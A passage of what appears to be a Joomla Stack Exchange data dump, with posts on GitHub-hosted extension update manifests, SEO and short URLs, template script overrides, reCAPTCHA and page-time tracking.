  <row Id="18789" PostTypeId="1" CreationDate="2017-01-07T17:17:15.523" Score="3" ViewCount="683" Body="&lt;p&gt;I have gone through the two closest topics I could find here, but the auto-update extension still does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a 3rd party extension called paystack, that works with the Jeema SMS component &lt;a href=&quot;https://github.com/DaydahConcepts/paystack&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. I need its updates to be found and be installed successfully from the Joomla Extension Manager.&#xA;So far I have tweaked the version.xml file and the manifest file itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to have to manually zip the file and upload to a release - I feel there has to be a way to utilize Github's autopilot archive naming convention. It would definitely be a lot easier.&#xA;Here is the latest version of my version.xml before I gave up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;updates&amp;gt;&#xA; &amp;lt;update&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_jsms_payment_paystack&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Accept payments via Master Card, Visa and Verve using Paystack. Sign up at Paystack.com for your free account.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;element&amp;gt;paystack&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;plugin&amp;lt;/type&amp;gt;&#xA;    &amp;lt;folder&amp;gt;jeemasms&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;infourl title=&quot;Paystack URL&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/releases/tag/1.0.1&amp;lt;/infourl&amp;gt;&#xA;    &amp;lt;downloads&amp;gt;&#xA;    &amp;lt;downloadurl type=&quot;upgrade&quot; format=&quot;zip&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/archive/1.0.1.zip&amp;lt;/downloadurl&amp;gt;&#xA;    &amp;lt;/downloads&amp;gt;&#xA;    &amp;lt;maintainer&amp;gt;Daydah Concepts&amp;lt;/maintainer&amp;gt;&#xA;    &amp;lt;maintainerurl&amp;gt;https://www.daydah.com&amp;lt;/maintainerurl&amp;gt;&#xA;    &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.0&quot;/&amp;gt;&#xA; &amp;lt;/update&amp;gt;&#xA; &amp;lt;update&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_jsms_payment_paystack&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Accept payments via Master Card, Visa and Verve using Paystack. Sign up at Paystack.com for your free account.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;element&amp;gt;paystack&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;plugin&amp;lt;/type&amp;gt;&#xA;    &amp;lt;folder&amp;gt;jeemasms&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.2&amp;lt;/version&amp;gt;&#xA;    &amp;lt;infourl title=&quot;Paystack URL&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/releases/tag/1.0.2&amp;lt;/infourl&amp;gt;&#xA;    &amp;lt;downloads&amp;gt;&#xA;    &amp;lt;downloadurl type=&quot;upgrade&quot; format=&quot;zip&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/archive/1.0.2.zip&amp;lt;/downloadurl&amp;gt;&#xA;    &amp;lt;/downloads&amp;gt;&#xA;    &amp;lt;maintainer&amp;gt;Daydah Concepts&amp;lt;/maintainer&amp;gt;&#xA;    &amp;lt;maintainerurl&amp;gt;https://www.daydah.com&amp;lt;/maintainerurl&amp;gt;&#xA;    &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.0&quot;/&amp;gt;&#xA; &amp;lt;/update&amp;gt;&#xA; &amp;lt;update&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_jsms_payment_paystack&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Accept payments via Master Card, Visa and Verve using Paystack. Sign up at Paystack.com for your free account.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;element&amp;gt;paystack&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;plugin&amp;lt;/type&amp;gt;&#xA;    &amp;lt;folder&amp;gt;jeemasms&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.3&amp;lt;/version&amp;gt;&#xA;    &amp;lt;infourl title=&quot;Paystack URL&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/releases/tag/1.0.3&amp;lt;/infourl&amp;gt;&#xA;    &amp;lt;downloads&amp;gt;&#xA;    &amp;lt;downloadurl type=&quot;upgrade&quot; format=&quot;zip&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/archive/1.0.3.zip&amp;lt;/downloadurl&amp;gt;&#xA;    &amp;lt;/downloads&amp;gt;&#xA;    &amp;lt;maintainer&amp;gt;Daydah Concepts&amp;lt;/maintainer&amp;gt;&#xA;    &amp;lt;maintainerurl&amp;gt;https://www.daydah.com&amp;lt;/maintainerurl&amp;gt;&#xA;    &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.0&quot;/&amp;gt;&#xA; &amp;lt;/update&amp;gt;&#xA;&#xA; &amp;lt;update&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_jsms_payment_paystack&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Accept payments via Master Card, Visa and Verve using Paystack. Sign up at Paystack.com for your free account.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;element&amp;gt;paystack&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;plugin&amp;lt;/type&amp;gt;&#xA;    &amp;lt;folder&amp;gt;jeemasms&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.4&amp;lt;/version&amp;gt;&#xA;    &amp;lt;infourl title=&quot;Paystack URL&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/releases/tag/1.0.4&amp;lt;/infourl&amp;gt;&#xA;    &amp;lt;downloads&amp;gt;&#xA;    &amp;lt;downloadurl type=&quot;upgrade&quot; format=&quot;zip&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/archive/1.0.4.zip&amp;lt;/downloadurl&amp;gt;&#xA;    &amp;lt;/downloads&amp;gt;&#xA;    &amp;lt;maintainer&amp;gt;Daydah Concepts&amp;lt;/maintainer&amp;gt;&#xA;    &amp;lt;maintainerurl&amp;gt;https://www.daydah.com&amp;lt;/maintainerurl&amp;gt;&#xA;    &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.0&quot;/&amp;gt;&#xA; &amp;lt;/update&amp;gt;&#xA;&#xA; &amp;lt;update&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_jsms_payment_paystack&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Accept payments via Master Card, Visa and Verve using Paystack. Sign up at Paystack.com for your free account.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;element&amp;gt;paystack&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;plugin&amp;lt;/type&amp;gt;&#xA;    &amp;lt;folder&amp;gt;jeemasms&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.6&amp;lt;/version&amp;gt;&#xA;    &amp;lt;infourl title=&quot;Paystack URL&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/releases/tag/paystack-1.0.6&amp;lt;/infourl&amp;gt;&#xA;    &amp;lt;downloads&amp;gt;&#xA;    &amp;lt;downloadurl type=&quot;upgrade&quot; format=&quot;zip&quot;&amp;gt;https://github.com/DaydahConcepts/paystack/archive/paystack-1.0.6.zip&amp;lt;/downloadurl&amp;gt;&#xA;    &amp;lt;/downloads&amp;gt;&#xA;    &amp;lt;maintainer&amp;gt;Daydah Concepts&amp;lt;/maintainer&amp;gt;&#xA;    &amp;lt;maintainerurl&amp;gt;https://www.daydah.com&amp;lt;/maintainerurl&amp;gt;&#xA;    &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.0&quot;/&amp;gt;&#xA; &amp;lt;/update&amp;gt;&#xA;&amp;lt;updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I have done a lot of testing. Versions 1.0.1 to 1.0.4 were seen by the Joomla Updates server, but it kept giving the &lt;strong&gt;Error: Invalid Extension Update&lt;/strong&gt; as a result. The ones after 1.0.4 are not even visible.&#xA;Someone please help!&#xA;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: In addition, must I add an update section for every single update? I'm looking at a scenario of just replacing with the latest version, since its just a single extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have updated the version.xml file and its showing in Joomla Extension Update list. I changed the targetplatform version tag to '3.*'.&lt;/p&gt;&#xA;" OwnerUserId="5785" LastEditorUserId="5785" LastEditDate="2017-01-07T18:35:24.533" LastActivityDate="2017-01-07T20:29:03.483" Title="How to use Github as an auto-update deployment server for Joomla 3.x extension" Tags="|development|plugin|update|one-click-updates|extension-update|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18790" PostTypeId="2" ParentId="18789" CreationDate="2017-01-07T20:29:03.483" Score="4" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://github.com/joomla-extensions/weblinks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Weblinks repo&lt;/a&gt;&#xA;It does exactly what you want to do.&#xA;The &lt;a href=&quot;https://github.com/joomla-extensions/weblinks/blob/master/src/pkg_weblinks.xml#L28&quot; rel=&quot;nofollow noreferrer&quot;&gt;updateserver&lt;/a&gt; points to the &lt;a href=&quot;https://github.com/joomla-extensions/weblinks/blob/master/manifest.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;manifest&lt;/a&gt; hosted on that repo.&#xA;Download packages are served from the repo as well.&#xA;Of course you need to manually update the manifest file with each release.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2017-01-07T20:29:03.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18792" PostTypeId="2" ParentId="18788" CreationDate="2017-01-07T23:35:34.227" Score="2" Body="&lt;p&gt;I recommend running a backup and then upgrading to the latest version of Joomla (currently v3.6.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does not fix the issue, then try the &quot;Reinstall Joomla core files&quot; option in the Joomla Update component (see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FEZcV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FEZcV.png&quot; alt=&quot;Reinstall Core Files&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't access the back-end you may need to use a manual install method such as the one described at: &lt;a href=&quot;https://docs.joomla.org/Updating_Joomla_(Manual_Method)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Updating_Joomla_(Manual_Method)&lt;/a&gt; or something similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-01-09T23:30:15.680" LastActivityDate="2017-01-09T23:30:15.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18793" PostTypeId="1" CreationDate="2017-01-08T11:56:33.407" Score="1" ViewCount="112" Body="&lt;p&gt;1) Is it OK if i make short URL for almost every article in my Joomla! site&#xA;like &lt;a href=&quot;http://myjoomlasite.com/4rhd789d&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://myjoomlasite.com/4rhd789d&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is it OK if some of the articles has more than one menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) What is the best way to make short URL in my site?&lt;/p&gt;&#xA;" OwnerUserId="8448" LastEditorUserId="126" LastEditDate="2017-01-09T16:26:42.117" LastActivityDate="2017-01-09T16:34:27.090" Title="Does it influence SEO if I make short url for all pages in my site?" Tags="|joomla-3.x|articles|url|sef|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18794" PostTypeId="2" ParentId="18793" CreationDate="2017-01-08T14:07:31.023" Score="1" Body="&lt;p&gt;1) I believe it's not OK, but acceptable and it's up to you to decide. I mean SEF URLs are good for SEO. And SEF mostly if not only stands for human readable URLs.&#xA;And short URL's are not. So they are not SEF. So they are not a best practice for SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) No, it's not OK as long as there are not 1 &quot;menu item&quot; and all other are &quot;menu item aliases&quot;. It can cause trouble: main would be content duplicates on different URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Create menu item for each article with &quot;short&quot; alias.&#xA;Or create &quot;main&quot; category which will contain all articles, and set this category for &quot;home page&quot;. As result - article URL would be site.com/article-alias. And you just need to set &quot;short&quot; aliases for all articles.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-08T14:07:31.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18795" PostTypeId="2" ParentId="17475" CreationDate="2017-01-08T16:14:14.117" Score="0" Body="&lt;p&gt;I'd suggest you to use link to &lt;code&gt;index.php?option=com_categories&amp;amp;extension=com_YOUREXTENSION&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And add &lt;code&gt;/helpers/yourextension.php&lt;/code&gt; file that will generate menu by having method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function addSubmenu($vName)&#xA;    {&#xA;        JHtmlSidebar::addEntry(&#xA;            JText::_('COM_YOUREXTENTION_ENTRY_ONE'),&#xA;            'index.php?option=com_yourextension',&#xA;            $vName == 'entryone'&#xA;        );&#xA;        JHtmlSidebar::addEntry(&#xA;            JText::_('COM_YOUREXTENTION_ENTRY_TWO'),&#xA;            'index.php?option=com_categories&amp;amp;extension=com_yourextension',&#xA;            $vName == 'entrytwo'&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-08T16:14:14.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18796" PostTypeId="2" ParentId="18411" CreationDate="2017-01-08T16:27:30.783" Score="1" Body="&lt;p&gt;It depends on how this js is included in head. And based on path I think it's straight &lt;code&gt;JDocument-&amp;gt;addScript&lt;/code&gt; which doesn't implement override logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on that, in the given situation I'd suggest you to create system plugin that will catch &lt;code&gt;onBeforeCompileHead()&lt;/code&gt; and unset this &lt;code&gt;scripts.js&lt;/code&gt; from &lt;code&gt;scripts&lt;/code&gt; array, and simply add one that you need [your override].&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-08T16:27:30.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18797" PostTypeId="2" ParentId="17824" CreationDate="2017-01-08T16:37:56.067" Score="0" Body="&lt;p&gt;Well, may be at your stage of development there is to late to look into something to build from, but your can look at the implementation of specific method of &lt;a href=&quot;https://github.com/joomplace/JooYii/blob/master/Model.php#L638&quot; rel=&quot;nofollow noreferrer&quot;&gt;Model of JooYii Library&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is method to generate query for table by passing values of columns as &quot;conditions&quot; array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This class not only allows you to generate query, but along with other functions allows you to get list with pagination.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-08T16:37:56.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18798" PostTypeId="1" AcceptedAnswerId="18800" CreationDate="2017-01-08T17:09:54.130" Score="2" ViewCount="42" Body="&lt;p&gt;I am using the &lt;a href=&quot;https://www.joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;events booking plugin&lt;/a&gt; and struggle with some issues for voting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I enable the native joomla 5 star rating for events, like I can use for articles?&#xA;It would also be good to use for event-categories.&#xA;Is there a way?&lt;/p&gt;&#xA;" OwnerUserId="9521" LastActivityDate="2017-01-08T23:08:43.667" Title="native voting for events of events booking plugin" Tags="|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18799" PostTypeId="2" ParentId="18774" CreationDate="2017-01-08T17:13:10.627" Score="7" Body="&lt;p&gt;Running ahead a little bit let me provide you with link to &lt;a href=&quot;https://github.com/joomplace/JooYii&quot;&gt;JooYii Library&lt;/a&gt;. This library makes a leap ahead brings some practices that would be at &lt;code&gt;Joomla! 4&lt;/code&gt; to current &lt;code&gt;Joomla! 3.x&lt;/code&gt; branch along with other good things [common MVC, methods variables checks and bindings and other]. It's not reached first master yet, but only few inches around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What concerns explanation of &quot;Joomla specific MVC approach&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components are more like independent applications. So what you need to know on &quot;Terminology&quot; and ways to achieve what you want to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;controller.php&lt;/code&gt; - Main controller;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;controllers/anycontroller.php&lt;/code&gt; - Sub-controller;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;models/anymodel.php&lt;/code&gt; - Your model, [!] not something like Yii model, just &quot;sqls helper&quot;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tables/anytable.php&lt;/code&gt; - Something like Yii model, but only like. It's not active record by representation of table`s row;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;views/anyview/view.html.php&lt;/code&gt; - not view, but something like 'Extension of controller', included in controller`s &lt;code&gt;display&lt;/code&gt; method;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;views/anyview/tmpl/default.php&lt;/code&gt; - view`s layout, that's what you call 'view' at Yii, commonly;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Well that's it. All you need to know on terminology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to implement calls like &lt;code&gt;controller/action&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set your component to the homepage to call it like &lt;code&gt;controller/action&lt;/code&gt; or use &lt;code&gt;/component/yourcomponent/controller/action&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;next step is to create &lt;code&gt;router.php&lt;/code&gt; and set up &lt;code&gt;parseRoute()&lt;/code&gt; to parse your route like &lt;code&gt;$vars['task'] = $segments[0].$segments[1]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it, you're there. In super native joomla way you route to &lt;code&gt;index.php?option=com_yourcomponent&amp;amp;task=controller.action&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-08T17:13:10.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18800" PostTypeId="2" ParentId="18798" CreationDate="2017-01-08T23:08:43.667" Score="3" Body="&lt;p&gt;One way you could perhaps achieve this is to use the content plugins that come with Events Booking to insert category and event details into articles and then use the native article rating system on the articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EB Event Plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This plugin is used to display event detail within a Joomla article&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ebevent EVENT_ID}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Eventbooking Category Content Plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This plugin is used to display all events from a category within an article&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ebcategory ID_OF_CATEGORY}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For other ideas, it is probably worth asking the extension developers this question by posting your question on the &lt;a href=&quot;https://www.joomdonation.com/forum/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OS Solution Forums&lt;/a&gt; or by submitting a support request.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-01-08T23:08:43.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18801" PostTypeId="1" CreationDate="2017-01-09T15:50:09.413" Score="2" ViewCount="8788" Body="&lt;p&gt;Does anyone know a way to use reCAPTCHA v2 (as v1 is depricated and can't be used anymore) on Joomla 2.5 Contact Forms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even added the &lt;code&gt;&amp;lt;script src='https://www.google.com/recaptcha/api.js'&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; in my website, but nothing.&#xA;I can't upgrade joomla to another version, but I can install other plugin, if any work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9525" LastActivityDate="2018-04-06T09:06:51.767" Title="reCAPTCHA v2 for Joomla 2.5" Tags="|captcha|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18802" PostTypeId="2" ParentId="18411" CreationDate="2017-01-09T16:21:48.993" Score="0" Body="&lt;p&gt;The idea by @Alexandr about creating a plugin to unset scripts is a good one - of course it depends on how the template developers do the call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another simple way I sometimes do, is to modify slightly the index.php of the template and then load any js or css files I want, the way I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just find the calls to js files and comment them out - then include yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually it's just a few lines of modification which can be easily maintained on a future update. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-09T16:21:48.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18803" PostTypeId="2" ParentId="18793" CreationDate="2017-01-09T16:34:27.090" Score="0" Body="&lt;p&gt;1) There is not a short answer on this, and actually not sure what exactly you have in mind. It is to have all URLs like this, or to have short URLs as complementary to the default urls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually a URL is more effective SEO-wise when it contains keywords and is meaningful and memorizable somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It's not ok - actually it doesn't make real sense and it's not going to work well. It is the alias menu item type designed for this purpose - so you can have more menu items in the same or other menus, linking to the same content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) You can manually create short alias for your articles, menu-items, categories. This way the main (default) url for your pages will be shortened. If you want to have complementary short URLs that redirect to the default URL, then you can use something like sh404SEF which is able to generate automatically short-urls.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-09T16:34:27.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18804" PostTypeId="2" ParentId="15564" CreationDate="2017-01-09T17:47:24.470" Score="0" Body="&lt;p&gt;If the language switcher module doesn't work, it means that your multilingual configuration isn't right. So in this case you are going to have multilingual issues of any possible kind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asking to create manually the buttons is very similar to go and recreate the language switcher module, as otherwise what do you think this module is doing? So is this what you are trying to achieve? If so, just study the language switcher module and you will have your answer.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-09T17:47:24.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18805" PostTypeId="2" ParentId="18779" CreationDate="2017-01-09T17:55:13.397" Score="1" Body="&lt;p&gt;Student on a particular topic? It's not obvious what kind of site you have, its features and extensions used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Joomla core doesn't have any mechanism that can track the time users spend on each pages/articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? Yes it can be if you develop it.&lt;br&gt;&#xA;However have you done any search for extensions that might provide this? I don't believe they will exist, but you never know.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-09T17:55:13.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18806" PostTypeId="2" ParentId="16654" CreationDate="2017-01-09T18:02:52.197" Score="1" Body="&lt;p&gt;From your comments: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have several sites with his respectives folders hosted into the&#xA;  public_html root folder&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It looks like you want to host multiple sites in a single hosting account. Assuming your hosting provider allows it, you just need to add additional domains (addons) and set up a separate document root for each of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can ask your hosting provider for assistance in setting up the additional domains. Then nothing special is needed for the &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-09T18:02:52.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18807" PostTypeId="2" ParentId="18779" CreationDate="2017-01-09T19:36:59.107" Score="3" Body="&lt;p&gt;You can use the unload window event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will be need make a plugin that send userId, pageId and time information to a controller that store this on database and provide statistics about it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;function send_data(){&#xA;            $.ajax({&#xA;                url:'something.php',&#xA;                type:'POST',&#xA;                data:{data to send},&#xA;                success:function(data){&#xA;                //get your time in response here&#xA;                }&#xA;            });&#xA;        }&#xA;//insert this data in your data base and notice your timestamp&#xA;&#xA;&#xA; window.onload=function(){ send_data(); }&#xA; window.onbeforeunload=function(){ send_data(); }&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;source &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/questions/17804078/is-it-possible-to-know-how-long-a-user-has-spent-on-a-page&quot;&gt;2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&#xA;If the information is provided by a custom component (like online courses) with buttons like &lt;strong&gt;&quot;Prev page&quot;&lt;/strong&gt; and &lt;strong&gt;&quot;Next page&quot;&lt;/strong&gt; could be implemented a better method to provide this data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without loss information&lt;/p&gt;&#xA;" OwnerUserId="5681" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-01-09T20:06:29.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18808" PostTypeId="2" ParentId="18316" CreationDate="2017-01-09T23:45:57.727" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.phoca.cz/phocadownload-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.phoca.cz/phocadownload-plugin&lt;/a&gt;, you can display Phoca Download categories and files using the following syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{phocadownload view=category|id=35|target=b}&#xA;&#xA;{phocadownload view=file|id=280}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This syntax can be inserted into a Custom HTML module and displayed in any module position (e.g. the right sidebar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When editing the Custom HTML module, remember to set &quot;Prepare Content&quot; = &quot;Yes&quot; under the Options tab.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-01-09T23:45:57.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18809" PostTypeId="1" AcceptedAnswerId="18810" CreationDate="2017-01-10T11:02:01.807" Score="5" ViewCount="390" Body="&lt;p&gt;so I have a Joomla Website with a lot of content (10k+ items acumulated over the last 10 years).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove the Content of the first 5 Years because it costs a lot of Crawler Budget for Google. To do that I have to declare the page with the http 410 Status code - so it get permanently removed and google doesn't try to crawl it again and again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I manage that without editing each url by Hand? &#xA;Is there a way to even remove Content in this way in joomla?&lt;/p&gt;&#xA;" OwnerUserId="9528" LastEditorUserId="3463" LastEditDate="2019-12-22T05:19:09.027" LastActivityDate="2019-12-22T05:19:09.027" Title="How to remove Content older than a specific date with 410 status code" Tags="|joomla-3.x|seo|content|server|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
